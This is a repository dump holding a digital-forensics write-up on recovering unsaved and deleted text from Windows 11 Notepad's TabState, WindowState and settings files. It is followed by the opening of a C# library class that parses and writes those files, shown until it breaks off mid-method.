[joost-j](https://github.com/joost-j) 387 | [daddycocoaman](https://github.com/daddycocoaman) 388 | -------------------------------------------------------------------------------- /DFIR Review - Is that Windows Notepad Window really empty.md: -------------------------------------------------------------------------------- 1 | # Is that Windows Notepad window really empty? 2 | 3 | ## Synopsis 4 | 5 | ### Forensics Question: 6 | What artifacts can be recovered from Windows Notepad now that it supports multiple tabs, saving session state, and multi-level undo? 7 | What evidence can be lost if you close Windows Notepad? 8 | What evidence can be lost if you open Windows Notepad? 9 | 10 | ### OS Version: 11 | - Microsoft Windows 11 23H2 Build 22631 (Original Tests) 12 | - Microsoft Windows 11 23H2 Build 22635 (Original Tests) 13 | - Windows Notepad Version 11.2407.9.0 14 | - Windows Notepad Version 11.2408.12.0 15 | - Windows Notepad Version 11.2409.9.0 16 | 17 | ### Tools: 18 | - ImHex 19 | - 010 Editor 20 | - Registry Editor 21 | 22 | The full research and tools to assist in artifact recovery can be found at [https://github.com/ogmini/Notepad-State-Library](https://github.com/ogmini/Notepad-State-Library) 23 | 24 | ## Background 25 | Windows Notepad is the default text editor included with standard installations of Windows 11, with updates available through the Windows App Store. It is commonly used for quickly editing and reading text files, as well as for taking notes. Microsoft has begun enhancing its features, adding support for multiple tabs, saving session states, and multi-level undo. 26 | 27 | To accommodate these new functions, Windows Notepad must store this information. We will explore the artifacts that can be recovered from the local filesystem, identify their locations, and explain how to read and understand them. Additionally, the behavior and relevance of these artifacts to digital forensics will be discussed. 28 | 29 | Seemingly empty Windows Notepad... 30 | ![Screenshot of Notepad](/Images/Notepad.png) 31 | 32 | Analysis results in the below recovered text (I have found the SMOKING GUN) as typed 33 | ![Recovered Text](/Images/SmokingGun.gif) 34 | 35 | https://blogs.windows.com/windows-insider/2024/03/21/spellcheck-in-notepad-begins-rolling-out-to-windows-insiders/ 36 | https://blogs.windows.com/windows-insider/2023/08/31/new-updates-for-snipping-tool-and-notepad-for-windows-insiders/ 37 | https://blogs.windows.com/windows-insider/2023/01/19/tabs-in-notepad-begins-rolling-out-to-windows-insiders/ 38 | https://blogs.windows.com/windows-insider/2021/12/07/redesigned-notepad-for-windows-11-begins-rolling-out-to-windows-insiders/ 39 | 40 | ## Artifacts 41 | 42 | There are three types of artifacts to be aware of when examining Windows Notepad that can found in different locations. 43 | 44 | - [Tabstate](#tabstate) - Stores information specific open tabs in Windows Notepad 45 | - [Windowstate](#windowstate) - Stores information about the Windows Notepad window 46 | - [Settings](#settings) - Stores application wide settings 47 | 48 | The information below is current as of Windows Notepad Version 11.2408.12.0 49 | 50 | ### Tabstate 51 | 52 | > [!NOTE] 53 | > Location of Files 54 | > `%localappdata%\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\TabState` 55 | > 56 | > Relevant Files 57 | > `*.bin` `*.0.bin` `*.1.bin` 58 | 59 | The tabstate files store information about the open tabs and their contents in Windows Notepad. The filenames are GUIDs and there are three types of *.bin files: 60 | - _File Tab_ 61 | - These tabs have been saved to disk or have been opened from a file on disk. 62 | - These tabs can be in a Saved or Unsaved condition. 63 | - Unsaved condition is visually denoted by a dot to the right of the Tab name. 64 | ![Dot](/Images/Unsaved%20Dot.png) 65 | - They have a TypeFlag of 1. 66 | - _No File Tab_ 67 | - These tabs have not been saved to disk and have not been opened from a file on disk. They only exist in the *.bin files. 68 | - These tabs can be in a New or Reopened condition. 69 | - Reopened condition is visually denoted by a dot to the right of the Tab name. 70 | ![Dot](/Images/Unsaved%20Dot.png) 71 | - They have a TypeFlag of 0. 72 | - _State File_ 73 | - These are the *.0.bin and *.1.bin files and store extra information about the related matching GUID *.bin. 74 | - These files do not always exist and this behavior will be expanded upon in the [Behavior](#behavior) section. 75 | - They have a TypeFlag of 10 or 11. 76 | 77 | Integrity of the file is validated with CRC32 calculated and stored for the preceding bytes. 78 | 79 | I've created a [Notepad-Tabstate.bt](https://www.sweetscape.com/010editor/repository/templates/file_info.php?file=Notepad-TabState.bt&type=0&sort=) for 010 Editor and a [Notepad-Tabstate.hexpat](/PatternFiles/Tabstate/Notepad-TabState.hexpat) for ImHex to assist in examining these files. 80 | 81 | #### File Tab Format 82 | |Name|Type|Notes|Saved Condition| 83 | |---|---|---|---| 84 | |Signature / Magic Bytes|2 bytes|[0x4E, 0x50] "NP"| 85 | |Sequence Number|uLEB128|Always 0| 86 | |TypeFlag|uLEB128|Equal to 1| 87 | |FilePathLength|uLEB128|Length of the FilePath in bytes| 88 | |FilePath|UTF-16LE (Variable Length)|FilePath string with length determined from FilePathLength| 89 | |SavedFileContentLength|uLEB128|Size in bytes of the text file saved on disk|Will be 0 if all changes have been saved to the file| 90 | |EncodingType|1 byte|1 = ANSI / 2 = UTF16LE / 3 = UTF16BE / 4 = UTF8BOM / 5 = UTF8| 91 | |CarriageReturnType|1 byte|1 = Windows CRLF / 2 = Macintosh CR / 3 = Unix LF| 92 | |Timestamp|uLEB128|18-digit Win32 FILETIME|Will be 0 if all changes have been saved to the file| 93 | |FileHash|32 bytes|SHA256 Hash of the text file saved on disk|Will be 0 if all changes have been saved to the file| 94 | |:question:Unknown|2 bytes|[0x00, 0x01]| 95 | |SelectionStartIndex|uLEB128|Start position of text selection| 96 | |SelectionEndIndex|uLEB128|End position of text selection| 97 | |[Configuration Block](#configuration-block)||| 98 | |ContentLength|uLEB128|Length of the Content in bytes|Will be 0 if all changes have been saved to the file| 99 | |Content|UTF-16LE (Variable Length)|Text Content with length determined from ContentLength|Will not exist if all changes have been saved to the file| 100 | |Unsaved|1 byte|Unsaved flag|Will be 0 since the file has been saved| 101 | |CRC32|4 bytes|CRC32 Check| 102 | |[Unsaved Buffer Chunks](#unsaved-buffer-chunk)||Will exist if any changes to the file are unsaved|Will not exist if all changes been saved to the file| 103 | 104 | The image below displays an example of a file with no changes that is in the Saved condition. 105 | ![010 Editor view of *.bin for opened file with no changes](/Images/Saved%20File%20-%20Read%20Only.png) 106 | The image below displays an example of a file with unsaved changes that is in the Unsaved condition. 107 | ![010 Editor view of *.bin for opened file with unsaved changed](/Images/Saved%20File%20-%20Changes.png) 108 | 109 | 110 | #### No File Tab Format 111 | |Name|Type|Notes|New Condition| 112 | |---|---|---|---| 113 | |Signature / Magic Bytes|2 bytes|[0x4E, 0x50] "NP"| 114 | |Sequence Number|uLEB128|Always 0| 115 | |TypeFlag|uLEB128|Equal to 0| 116 | |:question:Unknown|1 byte|[0x01]| 117 | |SelectionStartIndex|uLEB128|Start position of text selection| 118 | |SelectionEndIndex|uLEB128|End position of text selection| 119 | |[Configuration Block](#configuration-block)||| 120 | |ContentLength|uLEB128|Length of the Content in bytes|Will be 0| 121 | |Content|UTF-16LE (Variable Length)|Text Content with length determined from ContentLength|Will not exist| 122 | |Unsaved|1 byte|Unsaved flag|Will be 0 123 | |CRC32|4 bytes|CRC32 Check| 124 | |[Unsaved Buffer Chunks](#unsaved-buffer-chunk)||Values will exist for changes until they are flushed to Content when Windows Notepad is closed|| 125 | 126 | The image below displays an example of a newly created tab in the New condition with text changes. 127 | ![010 Editor view of *.bin for new tab](/Images//Unsaved%20File%20-%20New.png) 128 | The image below displays an example of a tab in the Reopened condition with no text changes. 129 | ![010 Editor view of *.bin for reopened tab](/Images/Unsaved%20File%20-%20Reopened.png) 130 | The image below displays an example of a tab in the Reopened condition with text changes. 131 | ![010 Editor view of *.bin for reopened tab](/Images/Unsaved%20File%20-%20Reopened%20with%20changes.png) 132 | 133 | 134 | #### State File Format 135 | |Name|Type|Notes| 136 | |---|---|---| 137 | |Signature / Magic Bytes|2 bytes|[0x4E, 0x50] "NP"| 138 | |Sequence Number|uLEB128|Increments and highest number signifies the active state file| 139 | |TypeFlag|uLEB128|10 = No File Tab State / 11 = File Tab State| 140 | |:question:Unknown|1 byte|[0x00]| 141 | |BinSize|uLEB128|Size in bytes of the associated *.bin file| 142 | |SelectionStartIndex|uLEB128|Start position of text selection| 143 | |SelectionEndIndex|uLEB128|End position of text selection| 144 | |[Configuration Block](#configuration-block)||| 145 | |CRC32|4 bytes|CRC32 Check| 146 | 147 | The image below displays an example of the state file for a No File Tab. Take note of the TypeFlag. 148 | ![010 Editor view of the state file for a No File Tab](/Images/State%20-%20No%20File.png) 149 | The image below displays an example of the state file for a File Tab. Take note of the TypeFlag. 150 | ![010 Editor view of the state file for a File Tab](/Images/State%20-%20File.png) 151 | 152 | #### Configuration Block Format 153 | |Name|Type|Notes| 154 | |---|---|---| 155 | |WordWrap|1 byte|WordWrap flag| 156 | |RightToLeft|1 byte|RightToLeft flag| 157 | |ShowUnicode|1 byte|ShowUnicode flag| 158 | |Version/MoreOptions|uLEB128|Number of More Options in bytes that follow| 159 | |[More Options Block](#more-options-block)||| 160 | 161 | The image below shows the WordWrap option in Windows Notepad. This setting is specific to the Tab. There is also an application wide setting for WordWrap in the settings menu. 162 | ![Windows Notepad Settings View](/Images/WordWrap-Tab.png) 163 | The image below shows the RightToLeft and ShowUnicode options in the Right-Click menu for Windows Notepad. These settings are specific to the Tab. 164 | ![Windows Notepad Settings View](/Images/RightClickOptions.png) 165 | 166 | #### More Options Block Format 167 | |Name|Type|Notes| 168 | |---|---|---| 169 | |:question:Unknown| 1 byte|Spellcheck/Autocorrect? Do not seem to be flags. These were added to the file format when Spellcheck/Autocorrect feature was added| 170 | |:question:Unknown| 1 byte|Spellcheck/Autocorrect? Do not seem to be flags. These were added to the file format when Spellcheck/Autocorrect feature was added| 171 | 172 | #### Unsaved Buffer Chunk Format 173 | 174 | |Name|Type|Notes| 175 | |---|---|---| 176 | |Cursor Position|uLEB128|Cursor Position of where Deletion/Addition/Insertion begins. Insertion is signified by both a Deletion Action and Addition Action| 177 | |Deletion Action|uLEB128|Number of Characters deleted| 178 | |Addition Action|uLEB128|Number of Characters added| 179 | |Added Characters|UTF-16LE (Variable Length)|Characters added with length determined from Addition Action| 180 | |CRC32|4 bytes|CRC32 Check of Unsaved Buffer Chunk| 181 | 182 | The image below shows the Unsaved Buffer Chunk for pasting a block of text signified by an Addition Action of 11 showing 11 characters have been added. This is also similar to typing individual letters where you would have an Addition Action of 1. 183 | ![010 Editor view of Unsaved Buffer Chunk for pasting a block of text](/Images/Pasted%20Text%20Block.png) 184 | The image below shows the Unsaved Buffer Chunk for deleting a block of text signified by a Deletion Action of 11 showing 11 characters have been removed. This is also similar to deleting individual letters where you would have a Deletion Action of 1. 185 | ![010 Editor view of Unsaved Buffer Chunk for deleting a block of text](/Images/Deleted%20Text%20Block.png) 186 | The image below shows the Unsaved Buffer Chunk for overwriting a block of text signified by both a Deletion and Addition Action. In this case, 4 characters were deleted and 7 were added. This is also similar to inserting individual letters where you would have a Deletion and Addition Action of 1. 187 | ![010 Editor view of Unsaved Buffer Chunk for overwriting a block of text](/Images/Overwrite%20Text.png) 188 | 189 | ### Windowstate 190 | 191 | > [!NOTE] 192 | > Location of Files 193 | > `%localappdata%\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\WindowState` 194 | > 195 | > Relevant Files 196 | > `*.0.bin` `*.1.bin` 197 | 198 | The windowstate files store information about opened windows of Windows Notepad and files are created for each opened window. Information is stored about: 199 | 200 | - Number of tabs 201 | - Order of tabs 202 | - Active tab 203 | - Window size 204 | - Window position 205 | 206 | Integrity of the file is validated with CRC32 calculated and stored for the preceding bytes. 207 | 208 | I've created a [Notepad-WindowState.bt](https://www.sweetscape.com/010editor/repository/templates/file_info.php?file=Notepad-WindowState.bt&type=0&sort=) for 010 Editor and a [Notepad-WindowState.hexpat](/PatternFiles/Windowstate/Notepad-WindowState.hexpat) for ImHex to assist in examining these files. 209 | 210 | #### File Format 211 | |Name|Type|Notes| 212 | |---|---|---| 213 | |Signature / Magic Bytes|2 bytes|[0x4E, 0x50] "NP"| 214 | |Sequence Number|uLEB128|| 215 | |BytesToCRC|uLEB128|Number of bytes to the CRC Check| 216 | |:question:Unknown|1 byte|[0x00]| 217 | |NumberTabs|uLEB128|Number of Tabs in Notepad| 218 | |GUID Chunks|16 bytes (Variable Number of Chunks)|GUID for each tab in view order that refer to the filename of the matching [Tabstate](#tabstate) file| 219 | |ActiveTab|uLEB128|Number of Active Tab in Notepad. 0 based index.| 220 | |TopLeftCoords_X|uINT32|| 221 | |TopLeftCoords_Y|uINT32|| 222 | |BottomRightCoords_X|uINT32|| 223 | |BottomRightCoords_Y|uINT32|| 224 | |WindowSize_Width|uINT32|| 225 | |WindowSize_Height|uINT32|| 226 | |:question:Unknown|1 byte|[0x00]| 227 | |CRC32|4 bytes|CRC32 Check| 228 | |[Slack Space](#slack-space)|Variable|| 229 | 230 | The image below shows the Windowstate for Windows Notepad with three tabs and the middle tab being active. 231 | ![010 Editor view of Windowstate for multiple tabs](/Images/Windowstate.png) 232 | 233 | #### Slack Space 234 | It appears that the windowstate files will never reduce in size. More testing is required to validate this or to discover what actions will cause them to be deleted or cleared out. 235 | 236 | There is a potential to recover complete or partial GUIDs from the slack space that can be tied back to past [Tabstate](#tabstate) files. These deleted files could possibly be recovered and examined. As Tabs are opened and closed, the slack space will get more and more convoluted and disarrayed as records are overwritten as the GUID Chunks section changes in size. Manual parsing is suggested and there is no guarantee of being able to recover anything of use. 237 | 238 | ### Settings 239 | > [!NOTE] 240 | > Location of Files 241 | > `%localappdata%\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\Settings` 242 | > 243 | > Relevant Files 244 | > `settings.dat` 245 | 246 | The settings files store application wide settings and defaults. The `settings.dat` file is an application hive which can be opened with Registry Editor and other tools which can handle registry files. I've also updated the [RegistryHive.bt](https://www.sweetscape.com/010editor/repository/templates/file_info.php?file=RegistryHive.bt&type=0&sort=) for 010 Editor. If a key doesn't exist that option hasn't been changed from the default or set. Research has already been published on this file format and a list of links can be found [here](#useful-links--information) 247 | 248 | Below is a screenshot of the application wide settings menu. 249 | ![Screenshot of Settings Menu](/Images/Settings.png) 250 | 251 | #### File Format 252 | 253 | | Type | Hex | Description | 254 | |---|---|---| 255 | |0x5f5e104|`04 E1 F5 05` | uINT32 256 | |0x5f5e105|`05 E1 F5 05` | uINT32 257 | |0x5f5e10b|`0B E1 F5 05` | byte (bool) 258 | |0x5f5e10c|`0C E1 F5 05` | string (NULL Terminated) 259 | 260 | Last 8 bytes of the value for each key is the 18-digit Win32 FILETIME Timestamp for the setting change. 261 | 262 | | KeyName | Type | Notes | 263 | |---|---|---| 264 | |AutoCorrect|0x5f5e10b| 0 = Off / 1 = On 265 | |FontFamily|0x5f5e10c| String 266 | |FontStyle|0x5f5e10c| String 267 | |GhostFile|0x5f5e10b| 0 = Open in a new window / 1 = Open content from a previous session 268 | |LocalizedFontFamily|0x5f5e10c| String 269 | |LocalizedFontStyle|0x5f5e10c| String 270 | |OpenFile|0x5f5e104| 0 = New Tab / 1 = New Window 271 | |SpellCheckState|0x5f5e10c| JSON: `{"Enabled":false,"FileExtensionsOverrides":[[".md",true],[".ass",true],[".lic",true],[".srt",true],[".lrc",true],[".txt",true]]}` 272 | |StatusBarShown|0x5f5e10b| 0 = Off / 1 = On 273 | |TeachingTipCheckCount|0x5f5e105| Unknown 274 | |TeachingTipExplicitClose|0x5f5e10b| Unknown 275 | |TeachingTipVersion|0x5f5e105| Unknown 276 | |Theme|0x5f5e104| 0 = System / 1 = Light / 2 = Dark 277 | |WindowPositionBottom|0x5f5e104| 278 | |WindowPositionHeight|0x5f5e104| 279 | |WindowPositionLeft|0x5f5e104| 280 | |WindowPositionRight|0x5f5e104| 281 | |WindowPositionTop|0x5f5e104| 282 | |WindowPositionWidth|0x5f5e104| 283 | |WordWrap|0x5f5e10b| 0 = Off / 1 = On 284 | 285 | The image below shows the OpenFile Key which is an example of the 0x5f5e104 Type. 286 | ![010 Editor view of OpenFile Key](/Images/OpenFile.png) 287 | The image below shows the TeachingTipVersion Key which is an example of the 0x5f5e105 Type. 288 | ![010 Editor view of TeachingTipVersion Key](/Images/TeachingTipVersion.png) 289 | The image below shows the AutoCorrect Key which is an example of the 0x5f5e10b Type. 290 | ![010 Editor view of AutoCorrect Key](/Images/AutoCorrect.png) 291 | The image below shows the FontFamil Key which is an example of the 0x5f5e10c Type. 292 | ![010 Editor view of FontFamily Key](/Images/FontFamily.png) 293 | The image below shows application hive viewed using Registry Viewer. Take note of the Data column as the last 8 bytes are the Timestamp for that key. 294 | ![Registry Viewer of the application hive](/Images/RegistryViewer.png) 295 | 296 | #### Useful Links / Information 297 | 298 | [Application Hives](https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/filtering-registry-operations-on-application-hives) 299 | 300 | [Windows Store App Settings](https://lunarfrog.com/blog/inspect-app-settings) 301 | 302 | [Manipulating Windows Store App Settings](https://www.damirscorner.com/blog/posts/20150117-ManipulatingSettingsDatFileWithSettingsFromWindowsStoreApps.html) 303 | 304 | [UWP App Data Storage](https://helgeklein.com/blog/uwp-universal-windows-app-data-storage-admins/) 305 | 306 | [REGF Format](https://github.com/libyal/libregf/blob/main/documentation/Windows%20NT%20Registry%20File%20(REGF)%20format.asciidoc) 307 | 308 | [Registry Format](https://github.com/msuhanov/regf/blob/master/Windows%20registry%20file%20format%20specification.md) 309 | 310 | ## Behavior 311 | 312 | Timestamp for the _File Tab_ for [Tabstate](#tabstate) files will be set to 0 when the file is saved to disk. It will have a valid value when the first change is made to the contents of the file. Any successive changes before saving the file will not result in the Timestamp being updated. This behavior persists over opening/closing Windows Notepad. In short, the Timestamp for the _File Tab_ indicates when changes were started to be made on the file and that they have not yet been saved to disk. 313 | 314 | The timestamps associated with each key in the application hive show us when those [Settings](#settings) were last changed. 315 | 316 | The sequence number is used to tell which *.0.bin or *.1.bin is active as updates alternate between the two. The file with the highest sequence number is the active one and are relevant to both _State Files_ and [Windowstate](#windowstate) files. 317 | 318 | The presence of _State Files_ can tell us a bit about the usage pattern of Windows Notepad. For a _File Tab_ with no changes, the _State Files_ are only created when Windows Notepad is closed. They are subsequently deleted when the _File Tab_ is made active. The sequence number for the _State Files_ will never increment and the *.1.bin file will be empty. 319 | 320 | For a _File Tab_ or _No File Tab_ with unsaved changes, the _State Files_ are only created when Windows Notepad is closed and no [Unsaved Buffer Chunks](#unsaved-buffer-chunk) were flushed. They are subsequently deleted when new changes are made or the file has been saved. The sequence number for the _State Files_ will increment everytime Windows Notepad is closed and is indicative of many cycles of opening and closing Windows Notepad while in the unsaved and flushed state. 321 | 322 | While Windows Notepad is open the _File Tab_ and _No File Tab_ can have [Unsaved Buffer Chunks](#unsaved-buffer-chunk) of changes that haven't been flushed. The [Unsaved Buffer Chunks](#unsaved-buffer-chunk) can be used to playback the changes to the text similar to a keylogger. Once Windows Notepad is closed or the file is saved, the [Unsaved Buffer Chunks](#unsaved-buffer-chunk) are flushed into the content. 323 | 324 | Opening a Tab adds another Tab GUID Chunk to the collection of Chunks and updates the number of bytes to the CRC32 in the [Windowstate](#windowstate) file. Any existing slack space in the file will get overwritten up to the end of the new CRC32. 325 | 326 | Closing a tab deletes the relevant Tab GUID Chunk from the collection of Chunks and updates the number of bytes to the CRC32. Slack space after the CRC32 may result from closing tabs. The files appear to never get smaller. 327 | 328 | The following actions will cause an update of the sequence number in the [Windowstate](#windowstate) files: 329 | - Resizing window 330 | - Moving window 331 | - Reordering/moving tabs 332 | - Closing tab(s) 333 | - Closing multiple tabs at once results in one action 334 | - Opening tab(s) 335 | 336 | Creating a new Windows Notepad window by dragging a tab outside of the original window will spawn new [Windowstate](#windowstate) files. As you close each extra window, it will prompt you to save any files in that window and the corresponding [Windowstate](#windowstate) files will be deleted. When the last window of Windows Notepad is closed, the final [Windowstate](#windowstate) files will not be deleted. Only the [Windowstate](#windowstate) files for the last closed Windows Notepad is kept. 337 | 338 | ## Scenarios 339 | 340 | For illustrative purposes, two scenarios are presented below to highlight what can be recovered along with the importance of proper preservation. In our first scenario, you have come across a computer with Windows Notepad open on the desktop showing a reminder to pickup milk and eggs. Knowing that Windows Notepad could be hiding artifacts important to your investigation, you run some analysis using Windows Notepad Parser to gather and parse them into a human readable format. 341 | 342 | ![Commandline](/Images/Scenario%20-%20Collect.gif) 343 | 344 | [Unsaved Buffer Chunks](#unsaved-buffer-chunk) have been detected and the tool was able to recreate the changes over time in a viewable GIF. The user's recovery keys were pasted into Windows Notepad and later deleted leaving only the reminder visible. 345 | 346 | ![Reconstructed](/Images/Scenario%20-%20Reconstructed.gif) 347 | 348 | The above generated GIF matches the GIF below of the recorded actions performed by the user. 349 | ![Actual Actions](/Images/Scenario%20-%20Original.gif) 350 | 351 | In the second scenario, we've come across a text file on the desktop called "Secret Note.txt". Knowing that possible artifacts could be altered if Windows Notepad was to be opened, you run some analysis using Windows Notepad Parser to gather and parse them into a human readable format. 352 | 353 | Unsaved content has been found in the [Tabstate](#tabstate) file reminding the user to pickup a pickaxe and dynamite for tonight. By comparing this unsaved content to the saved text file it is evident that this reminder was added to the original text stating that the gold is hidden behind a fake brick in the chimney. 354 | 355 | Screenshot of recovered unsaved content viewed with Timeline Explorer. 356 | ![Unsaved](/Images/Scenario%20-%20Unsaved.png) 357 | 358 | Screenshot of original text file viewed with 010 Editor. 359 | ![Saved](/Images/Scenario%20-%20Saved.png) 360 | 361 | GIF of the actions performed by the user. We can see the user adding text and not saving the changes. 362 | ![Actions](/Images/Scenario%20-%20Changes.gif) 363 | 364 | ## Conclusion 365 | 366 | As we have seen, properly preserving artifacts should continue to be a prime concern. Just the act of opening, closing, or interacting Windows Notepad will cause changes in the [Tabstate](#tabstate) and [Windowstate](#windowstate) files. Closing Windows Notepad will cause the loss of any [Unsaved Buffer Chunks](#unsaved-buffer-chunk) which could have contained information such as a password typed by a user and later deleted. Opening Windows Notepad can result in the deletion of [Tabstate](#tabstate) and [Windowstate](#windowstate) files related to files that no longer exist or are inaccessible. A user could have had a text file opened from a USB stick that has gone missing. Changing the active tab or moving the cursor will also result in changes. 367 | 368 | Windows Notepad should not be overlooked as a potential source of evidence due to its ubiquity on Windows 11. It is an easy way for users to quickly save and type notes or have a scratch space that saves itself automatically. A potential criminal could be keeping a running list of victim names and locations in an unsaved tab in Windows Notepad. With the knowledge above, an investigator would know how to preserve and extract relevant artifacts from the file system. Possibly even being able to "replay" the changes and edits to the list. 369 | 370 | This research and corresponding tools will continued to be updated as changes are made that impact the artifacts. The latest version can be found at [https://github.com/ogmini/Notepad-State-Library](https://github.com/ogmini/Notepad-State-Library) 371 | 372 | -------------------------------------------------------------------------------- /NotepadStateLibrary/NotepadStateLibrary/NPTabState.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection.PortableExecutable; 2 | using System.Text; 3 | 4 | 5 | namespace NotepadStateLibrary 6 | { 7 | public class NPTabState 8 | { 9 | //TODO: Reorder these to a sensical order? 10 | 11 | /// 12 | /// 13 | /// 14 | public string FileName { get; private set; } 15 | /// 16 | /// Size of the associated bin file in bytes for the 0.bin or 1.bin file. 17 | /// 18 | public ulong BinSize { get; private set; } 19 | /// 20 | /// bytes of the described tab state file 21 | /// 22 | public byte[] bytes { get; set; } 23 | /// 24 | /// Windows (CRLF) = 0x01 25 | /// Macintosh (CR) = 0x02 26 | /// Unix (LF) = 0x03 27 | /// 28 | public byte[] CarriageReturnType { get; private set; } = null!; 29 | /// 30 | /// Content of the text file 31 | /// 32 | public byte[] Content { get; private set; } = null!; 33 | /// 34 | /// Length of the content 35 | /// 36 | public ulong ContentLength { get; private set; } 37 | /// 38 | /// Calculated CRC32 39 | /// 40 | public string ContentString 41 | { 42 | get { return Content == null ? string.Empty : Encoding.Unicode.GetString(Content).ReplaceLineEndings(); } 43 | } 44 | public byte[] CRC32Calculated { get; private set; } = null!; 45 | /// 46 | /// CRC32 from the file 47 | /// 48 | public byte[] CRC32Stored { get; private set; } = null!; 49 | /// 50 | /// ANSI = 0x01 51 | /// UTF16LE = 0x02 52 | /// UTF16BE = 0x03 53 | /// UTF8BOM = 0x04 54 | /// UTF8 = 0x05 55 | /// 56 | public byte[] EncodingType { get; private set; } = null!; 57 | /// 58 | /// SHA256 Hash of the text file saved on disk 59 | /// 60 | public byte[] FileHashStored { get; private set; } = null!; 61 | /// 62 | /// Length of the text file saved on disk 63 | /// 64 | public ulong FilePathLength { get; private set; } 65 | /// 66 | /// Path to the text file saved on disk 67 | /// 68 | public string FilePath { get; private set; } = null!; 69 | /// 70 | /// 71 | /// 72 | public ulong OptionCount { get; private set; } 73 | /// 74 | /// 75 | /// 76 | public byte[] Options { get; private set; } = null!; 77 | /// 78 | /// Right To Left Text Toggle 79 | /// 80 | public byte[] RightToLeft { get; private set; } = null!; 81 | /// 82 | /// Size of text file saved on disk 83 | /// 84 | public ulong SavedFileContentLength { get; private set; } 85 | /// 86 | /// End position of text selection 87 | /// 88 | public ulong SelectionEndIndex { get; private set; } 89 | /// 90 | /// Start position of text selection 91 | /// 92 | public ulong SelectionStartIndex { get; private set; } 93 | /// 94 | /// 95 | /// 96 | public ulong SequenceNumber { get; private set; } 97 | /// 98 | /// Show Unicode Toggle 99 | /// 100 | public byte[] ShowUnicode { get; private set; } = null!; 101 | /// 102 | /// Modified Time of Saved File 103 | /// 104 | public DateTime? Timestamp { get; private set; } 105 | /// 106 | /// 0 = Unsaved Tab 107 | /// 1 = Saved Tab 108 | /// 10 = NoFileTabState 109 | /// 11 = FileTabState 110 | /// Other = State File 111 | /// 112 | public ulong TypeFlag { get; private set; } 113 | /// 114 | /// Unsaved Toggle 115 | /// 116 | public byte[] Unsaved { get; private set; } = null!; 117 | /// 118 | /// Buffer of unsaved changes. 119 | /// 120 | public List UnsavedBufferChunks { get; private set; } 121 | /// 122 | /// WordWrap Toggle 123 | /// 124 | public byte[] WordWrap { get; private set; } = null!; 125 | 126 | /// 127 | /// Notepad Tab State Files 128 | /// 129 | /// Bytes of the state file 130 | public NPTabState(byte[] bytes, string fileName) 131 | { 132 | this.bytes = bytes; 133 | this.FileName = fileName; 134 | 135 | UnsavedBufferChunks = new List(); 136 | 137 | ParseBytes(); 138 | } 139 | 140 | /// 141 | /// Unsaved Tab 142 | /// 143 | /// 144 | /// 145 | /// 146 | /// 147 | /// 148 | public NPTabState(byte[] content, byte[] rightToLeft, byte[] showUnicode, List unsavedBufferChunks, byte[] wordWrap) 149 | { 150 | bytes = []; 151 | UnsavedBufferChunks = new List(); 152 | 153 | Content = content; 154 | ContentLength = (ulong)content.Length / 2; 155 | SelectionStartIndex = ContentLength; 156 | SelectionEndIndex = ContentLength; 157 | RightToLeft = rightToLeft; 158 | SequenceNumber = 0; 159 | ShowUnicode = showUnicode; 160 | TypeFlag = 0; 161 | Unsaved = [0x01]; 162 | UnsavedBufferChunks = unsavedBufferChunks; 163 | WordWrap = wordWrap; 164 | 165 | Save(); 166 | } 167 | 168 | /// 169 | /// Saved Tab 170 | /// 171 | /// 172 | /// 173 | /// 174 | /// 175 | /// 176 | /// 177 | /// 178 | /// 179 | /// 180 | /// 181 | /// 182 | /// 183 | /// 184 | /// 185 | public NPTabState(ulong sequenceNumber, byte[] unsaved, string filePath, ulong savedFileContentLength, byte[] encodingType, 186 | byte[] carriageReturnType, DateTime timeStamp, byte[] fileHashStored, ulong selectionStartIndex, ulong selectionEndIndex, byte[] wordWrap, 187 | byte[] rightToLeft, byte[] showUnicode, byte[] content) 188 | { 189 | bytes = []; 190 | UnsavedBufferChunks = new List(); 191 | 192 | TypeFlag = 1; 193 | SequenceNumber = sequenceNumber; 194 | Unsaved = unsaved; 195 | FilePathLength = (ulong)filePath.Length; 196 | FilePath = filePath; 197 | SavedFileContentLength = savedFileContentLength; 198 | EncodingType = encodingType; 199 | CarriageReturnType = carriageReturnType; 200 | Timestamp = timeStamp; 201 | FileHashStored = fileHashStored; 202 | SelectionStartIndex = selectionStartIndex; 203 | SelectionEndIndex = selectionEndIndex; 204 | WordWrap = wordWrap; 205 | RightToLeft = rightToLeft; 206 | ShowUnicode = showUnicode; 207 | ContentLength = (ulong)content.Length / 2; 208 | Content = content; 209 | 210 | Save(); 211 | } 212 | 213 | /// 214 | /// State File 215 | /// 216 | /// 217 | /// 218 | /// 219 | /// 220 | /// 221 | /// 222 | /// 223 | public NPTabState(ulong sequenceNumber, ulong binSize, ulong selectionStartIndex, ulong selectionEndIndex, byte[] wordWrap, 224 | byte[] rightToLeft, byte[] showUnicode) 225 | { 226 | bytes = []; 227 | UnsavedBufferChunks = new List(); 228 | 229 | SequenceNumber = sequenceNumber; 230 | BinSize = binSize; 231 | SelectionStartIndex = selectionStartIndex; 232 | SelectionEndIndex = selectionEndIndex; 233 | WordWrap = wordWrap; 234 | RightToLeft = rightToLeft; 235 | ShowUnicode = showUnicode; 236 | 237 | TypeFlag = (ulong)BinSize.WriteLEB128Unsigned().Length + (ulong)SelectionStartIndex.WriteLEB128Unsigned().Length + (ulong)SelectionEndIndex.WriteLEB128Unsigned().Length + 5; 238 | 239 | Save(); 240 | } 241 | 242 | /// 243 | /// Writes content to a tab state file. Does not work on a 0.bin, 1.bin, or state file with unsaved buffer chunks. 244 | /// 245 | /// Unicode Encoding 246 | /// Bytes to be written to file 247 | public byte[] WriteContent(byte[] newContent) 248 | { 249 | ContentLength = ((ulong)newContent.Length / 2); 250 | Content = newContent; 251 | Unsaved = [0x01]; 252 | 253 | Save(); 254 | 255 | return bytes; 256 | } 257 | 258 | /// 259 | /// 260 | /// 261 | /// 262 | /// 263 | public byte[] WriteFilePath(string filePath, byte[] fileHashStored) 264 | { 265 | //TODO: 266 | FilePathLength = (ulong)filePath.Length; 267 | FilePath = filePath; 268 | FileHashStored = fileHashStored; 269 | 270 | Save(); 271 | 272 | return bytes; 273 | } 274 | 275 | public byte[] WriteUnsavedBufferChunk() 276 | { 277 | UnsavedBufferChunk chk = new UnsavedBufferChunk(FileName, 0, 0, 1, new byte[] { 0x54, 0x00 }, new byte[] { 0x19, 0x37, 0x05, 